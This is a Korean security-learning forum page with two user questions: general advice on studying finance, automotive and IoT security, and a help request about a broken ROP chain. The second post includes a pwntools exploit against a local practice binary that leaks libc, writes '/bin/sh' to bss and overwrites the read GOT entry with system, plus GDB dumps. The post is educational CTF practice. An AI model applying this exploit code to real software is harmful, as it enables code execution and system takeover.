답변을 기다리는 질문들
계속해서 더 성장해 나간다는 건

금융 자동차 어플 AI보안 IoT (어그로성 질문이 아니라 나름 진지한 질문입니다) 웹해킹, 리버싱, 포너블, 암호학 등등 모두 정말 좋고 이렇게 하나씩 하나씩 공부하는 것도 정말 재미있고 즐겁습니다 금융, 자동차, 어플, AI보안, IoT 등 이런 것들이 단순히 트렌드 이기 때문이 아니라 다른사람들에게 직접적으로 편의를 제공해 줄 수 있는 것이기 때문에 더 연구하고 싶고 배워나가고 싶습니다 (되네 안 되네, 지금은 뭐가 필요하네 등 이런 의미없는 잡담이 아니라) 해킹의 기초를 파악한 상태라고 가정한다면, 해킹의 기초를 정말 탄탄히 다졌다고 본다면 (그냥 이걸 전제로 깔겠습니다) 그 위에 금융 보안, 자동차 보안, 어플 보안, AI보안, IoT 보안 등 수많은 사람들에게 편의를 제공해줄 수 있는 보안으로까지 더 심층적으로 공부해나가려면 어떤 방식으로 접근하는 것이 좋을까요? 어떻게 더 잘 해나갈 수 있을까요?? 논문을 읽는 것이 좋을까요? 책을 읽는 것이 좋은 건가요? 쓸모있는 얘기라면 어떤 것이든 좋습니다 달게 듣겠습니다 (다른 외부적인 요소를 고려하지 않고 이 질문 그대로에 답변해주시면 감사할 것 같습니다 꾸벅-)

2021.10.19. 13:17

ROP 중 read 함수가 작동하지 않습니다.

` p = process('rop') e = ELF("rop") #libc = ELF("libc.so.6") libc = ELF("/lib/i386-linux-gnu/libc.so.6") bss = 0x0804a024 ROP = p32(e.plt['write']) + p32(0x08048509) + p32(0x1) + p32(e.got['write']) + p32(0x4) ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(bss) + p32(0x8) ROP += p32(e.plt['read']) + p32(0x08048509) + p32(0x0) + p32(e.got['read']) + p32(0x4) ROP += p32(e.plt['read']) + p32(0x1) + p32(bss) payload = b'a'*(140) + ROP print(len(payload)) raw_input() p.sendline(payload) write_addr = u32(p.recvn(4)) print(hex(write_addr)) libcaddr = writeaddr - libc.symbols['write'] system = libc_addr + libc.symbols['system'] print(hex(system)) raw_input() p.sendline(b'/bin/sh\x00') raw_input() p.sendline(p32(system)) p.interactive() ` 대충 write로 라이브러리 유출하고 첫번째 read로 bss 영역에 /bin/sh 입력, 두번째 read로 GOT overwrite를 하게 코드를 짰습니다. 문제는 기존에 있는 read와 ROP로 삽입한 첫번째 read는 제대로 작동하는데 마지막 read가 제대로 동작하지 않습니다. ` ----------------------------------registers-----------------------------------] EAX: 0x8 EBX: 0x0 ECX: 0x804a024 ("/bin/sh") EDX: 0x8 ESI: 0x0 EDI: 0x804a024 ("/bin/sh") EBP: 0x8 ESP: 0xffcc1b48 --> 0x8048509 (<libccsuinit+89>: pop esi) EIP: 0xf7e63f70 (<GIlibcread>: push esi) EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e63f6b: xchg ax,ax 0xf7e63f6d: xchg ax,ax 0xf7e63f6f: nop => 0xf7e63f70 <GIlibcread>: push esi 0xf7e63f71 <GIlibcread+1>: push ebx 0xf7e63f72 <GIlibcread+2>: sub esp,0x14 0xf7e63f75 <GIlibcread+5>: mov ebx,DWORD PTR [esp+0x20] 0xf7e63f79 <GIlibcread+9>: mov ecx,DWORD PTR [esp+0x24] [------------------------------------stack-------------------------------------] 0000| 0xffcc1b48 --> 0x8048509 (<libccsuinit+89>: pop esi) 0004| 0xffcc1b4c --> 0x0 0008| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f70 (<GIlibcread>: push esi) 0012| 0xffcc1b54 --> 0x4 0016| 0xffcc1b58 --> 0x8048310 (<read@plt>: jmp DWORD PTR ds:0x804a00c) 0020| 0xffcc1b5c --> 0x1 0024| 0xffcc1b60 --> 0x804a024 ("/bin/sh") 0028| 0xffcc1b64 --> 0xa ('\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, GIlibcread (fd=0x0, buf=0x804a00c <read@got.plt>, nbytes=0x4) at ../sysdeps/unix/sysv/linux/read.c:25 25 in ../sysdeps/unix/sysv/linux/read.c ` GDB로 문제가 생긴 두번째 read에 break를 건 상태입니다. ` [----------------------------------registers-----------------------------------] EAX: 0x1 EBX: 0x0 ECX: 0x804a00c --> 0xf7e63f0a (nop) EDX: 0x4 ESI: 0x0 EDI: 0x804a024 ("/bin/sh") EBP: 0x8 ESP: 0xffcc1b4c --> 0x0 EIP: 0x8048509 (<libccsuinit+89>: pop esi) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048503 <libccsuinit+83>: jne 0x80484e8 <libccsuinit+56> 0x8048505 <libccsuinit+85>: add esp,0xc 0x8048508 <libccsuinit+88>: pop ebx => 0x8048509 <libccsuinit+89>: pop esi 0x804850a <libccsuinit+90>: pop edi 0x804850b <libccsuinit+91>: pop ebp 0x804850c <libccsuinit+92>: ret 0x804850d: lea esi,[esi+0x0] [------------------------------------stack-------------------------------------] 0000| 0xffcc1b4c --> 0x0 0004| 0xffcc1b50 --> 0x804a00c --> 0xf7e63f0a (nop) 0008| 0xffcc1b54 --> 0x4 0012| 0xffcc1b58 --> 0x8048310 (<read@plt>: jmp DWORD PTR ds:0x804a00c) 0016| 0xffcc1b5c --> 0x1 0020| 0xffcc1b60 --> 0x804a024 ("/bin/sh") 0024| 0xffcc1b64 --> 0xa ('\n') 0028| 0xffcc1b68 --> 0xffcc1bc8 --> 0xffcc1be4 --> 0xffcc28b1 --> 0x706f72 ('rop') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048509 in libccsuinit () ` ni를 계속 입력해서 진행하다보면 그대로 RET를 실행해 libccsuinit() 이라는 곳으로 빠집니다. read 함수 내에서 ret가 실행됬다면 스택에 있는 가젯으로 옮겨져야 할텐데요.. 애초에 아무 입력도 받지 않고 ret로 가버립니다.. ` EDI: 0x0 EBP: 0xffcc17dc --> 0x0 ESP: 0xffcc17c0 --> 0xffcc17dc --> 0x0 EIP: 0xf7f79559 (<_kernelvsyscall+9>: pop ebp) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7f79553 <_kernelvsyscall+3>: mov ebp,esp 0xf7f79555 <_kernelvsyscall+5>: sysenter 0xf7f79557 <_kernelvsyscall+7>: int 0x80 => 0xf7f79559 <_kernelvsyscall+9>: pop ebp 0xf7f7955a <_kernelvsyscall+10>: pop edx 0xf7f7955b <_kernelvsyscall+11>: pop ecx 0xf7f7955c <_kernelvsyscall+12>: ret 0xf7f7955d: nop [------------------------------------stack-------------------------------------] 0000| 0xffcc17c0 --> 0xffcc17dc --> 0x0 0004| 0xffcc17c4 --> 0x0 0008| 0xffcc17c8 --> 0xffcc17dc --> 0x0 0012| 0xffcc17cc --> 0xf7da6e02 (<_GIraise+194>: mov eax,DWORD PTR [esp+0x10c]) 0016| 0xffcc17d0 --> 0xf7fa6000 --> 0x2af3c 0020| 0xffcc17d4 --> 0x6 0024| 0xffcc17d8 --> 0xf7f7b594 --> 0x74725f00 ('') 0028| 0xffcc17dc --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGABRT 0xf7f79559 in _kernelvsyscall () ` c를 눌러서 그대로 진행하면 이런식으로 그냥 멈춰버립니다... ㅠㅠ

2021.10.20. 23:36

0개의 커리큘럼이 있습니다.
검색 결과가 없습니다.
4개의 강의가 있습니다.

Tool: Environment Setup⚙️

Tool: QEMU

Tool: gdb

Tool: pwntools